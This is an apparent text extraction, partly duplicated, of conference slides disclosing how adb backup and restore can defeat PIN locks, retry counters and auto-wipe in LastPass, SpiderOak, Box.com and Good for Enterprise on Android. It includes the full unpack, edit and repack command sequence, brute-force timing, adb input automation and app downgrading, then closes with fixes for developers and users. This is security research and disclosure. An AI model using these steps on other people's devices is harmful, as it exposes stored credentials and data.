Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 61: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
